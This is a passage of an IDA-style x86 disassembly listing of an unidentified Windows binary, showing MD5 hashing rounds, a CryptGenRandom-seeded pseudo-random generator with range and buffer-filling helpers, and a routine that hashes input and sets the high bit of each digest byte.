		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-72D5B376h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5C6BEh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-788E097Fh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+6D9D6122h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-21AC7F4h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-5B4115BCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4BDECFA9h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-944B4B0h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-41404390h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+289B7EC6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-155ED806h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-2B10CF7Bh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4881D05h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-262B2FC7h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 4
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ch
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		xor	eax, [ebp+var_C]
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1924661Bh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_10]
		shr	ecx, 15h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		xor	eax, [ebp+var_8]
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+1FA27CF8h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 10h
		mov	ecx, [ebp+var_C]
		shr	ecx, 10h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	eax, [ebp+var_4]
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3B53A99Bh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 17h
		mov	ecx, [ebp+var_8]
		shr	ecx, 9
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0BD6DDBCh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+432AFF97h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-546BDC59h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-36C5FC7h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+655B59C3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-70F3336Eh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-100B83h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-7A7BA22Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6FA87E4Fh]


loc_41005C:				; DATA XREF: .data:off_41A8CCo
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-1D31920h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5CFEBCECh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+4E0811A1h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		not	eax
		mov	ecx, [ebp+var_8]
		or	ecx, eax
		mov	eax, [ebp+var_C]
		xor	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-8AC817Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 6
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Ah
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		not	eax
		mov	ecx, [ebp+var_4]
		or	ecx, eax
		mov	eax, [ebp+var_8]
		xor	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-42C50DCBh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ah
		mov	ecx, [ebp+var_10]
		shr	ecx, 16h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		not	eax
		mov	ecx, [ebp+var_10]
		or	ecx, eax
		mov	eax, [ebp+var_4]
		xor	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+2AD7D2BBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Fh
		mov	ecx, [ebp+var_C]
		shr	ecx, 11h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		not	eax
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	eax, [ebp+var_10]
		xor	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-14792C6Fh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 15h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Bh
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax
		leave
		retn
sub_40F3CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410244	proc near		; CODE XREF: sub_40F3CE+Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_410263
; ---------------------------------------------------------------------------


loc_410253:				; CODE XREF: sub_410244+66j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_410263:				; CODE XREF: sub_410244+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_4102AC
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+1]
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+2]
		shl	ecx, 10h
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx+3]
		shl	ecx, 18h
		or	eax, ecx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		jmp	short loc_410253
; ---------------------------------------------------------------------------

locret_4102AC:				; CODE XREF: sub_410244+25j
		leave
		retn
sub_410244	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4102AE	proc near		; CODE XREF: .data:004168D0p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0F0000000h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_417024	; CryptAcquireContextA
		push	offset dword_41EAAC
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EAB0
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EAB4
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	offset dword_41EAB8
		push	4
		push	[ebp+var_4]
		call	dword_417020	; CryptGenRandom
		push	0
		push	[ebp+var_4]
		call	dword_41701C	; CryptReleaseContext
		leave
		retn
sub_4102AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410318	proc near		; CODE XREF: sub_4103F5+6p
					; sub_410422+6p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		lock xadd dword_41EAAC,	eax
		add	eax, ebx
		lock xadd dword_41EAB0,	eax
		add	eax, ecx
		lock xadd dword_41EAB4,	eax
		add	eax, edx
		lock xadd dword_41EAB8,	eax
		add	eax, esi
		lock xadd dword_41EAAC,	eax
		add	eax, edi
		lock xadd dword_41EAB0,	eax
		add	eax, ebp
		lock xadd dword_41EAB4,	eax
		add	eax, esp
		lock xadd dword_41EAB8,	eax
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		lock xadd dword_41EAAC,	eax
		lock xadd dword_41EAB0,	eax
		lock xadd dword_41EAB4,	eax
		lock xadd dword_41EAB8,	eax
		add	ecx, ebx
		ror	ebx, cl
		lock xadd dword_41EAB4,	ebx
		add	ecx, ecx
		ror	ecx, cl
		lock xadd dword_41EAB0,	ecx
		add	ecx, edx
		ror	edx, cl
		lock xadd dword_41EAAC,	edx
		rol	eax, cl
		add	ecx, eax
		ror	ebx, cl
		add	ecx, ebx
		ror	ecx, cl
		add	ecx, 211h
		rol	edx, cl
		add	ecx, edx
		lock xadd dword_41EAB8,	edx
		lock xadd dword_41EAB4,	ecx
		lock xadd dword_41EAB0,	ebx
		lock xadd dword_41EAAC,	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410318	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4103F5	proc near		; CODE XREF: sub_4020C2+10Bp
					; sub_4040E8+2Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAB8,	eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+arg_0]
		xor	edx, edx
		inc	ecx
		div	ecx
		mov	eax, edx
		add	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4103F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410422	proc near		; CODE XREF: sub_40CF2F:loc_40CFBCp
					; sub_40D871+D3Fp ...
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAB8,	eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410422	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41043F	proc near		; CODE XREF: sub_4055E5+715p
					; sub_4055E5+78Bp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAB4,	eax
		and	eax, 0FFFFh
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41043F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410461	proc near		; CODE XREF: sub_4104A3+42p
					; sub_4125DF:loc_4126B8p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAB0,	eax
		and	eax, 0FFh
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410461	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410483	proc near		; CODE XREF: sub_4055E5+72Bp
					; sub_40D7E5+57p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EAAC,	eax
		and	eax, 1
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410483	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104A3	proc near		; CODE XREF: sub_40A9CF+D4Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_4104AF
		jmp	short locret_4104FF
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_4104A3+8j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_4104B5:				; CODE XREF: sub_4104A3+34j
		cmp	[ebp+arg_4], 3
		jbe	short loc_4104D9
		call	sub_410422
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		jmp	short loc_4104B5
; ---------------------------------------------------------------------------


loc_4104D9:				; CODE XREF: sub_4104A3+16j
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax


loc_4104DF:				; CODE XREF: sub_4104A3+5Aj
		cmp	[ebp+arg_4], 0
		jbe	short locret_4104FF
		call	sub_410461
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_4104DF
; ---------------------------------------------------------------------------

locret_4104FF:				; CODE XREF: sub_4104A3+Aj
					; sub_4104A3+40j
		leave
		retn
sub_4104A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410501	proc near		; CODE XREF: sub_403260+36p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_410510
		xor	eax, eax
		jmp	short locret_41055D
; ---------------------------------------------------------------------------


loc_410510:				; CODE XREF: sub_410501+9j
		cmp	[ebp+arg_10], 0
		jnz	short loc_41051C
		mov	eax, [ebp+arg_4]
		mov	[ebp+arg_10], eax


loc_41051C:				; CODE XREF: sub_410501+13j
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax


loc_410532:				; CODE XREF: sub_410501+57j
		cmp	[ebp+var_4], 0
		jbe	short loc_41055A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		jmp	short loc_410532
; ---------------------------------------------------------------------------


loc_41055A:				; CODE XREF: sub_410501+35j
		mov	eax, [ebp+var_8]

locret_41055D:				; CODE XREF: sub_410501+Dj
		leave
		retn
sub_410501	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41055F	proc near		; CODE XREF: .data:004168E1p

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EAC0
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, byte_41EAC0
		mov	edi, esi
		push	10h
		pop	ecx


loc_41059F:				; CODE XREF: sub_41055F+47j
		lodsb
		or	eax, 80h
		stosb
		loop	loc_41059F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41055F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


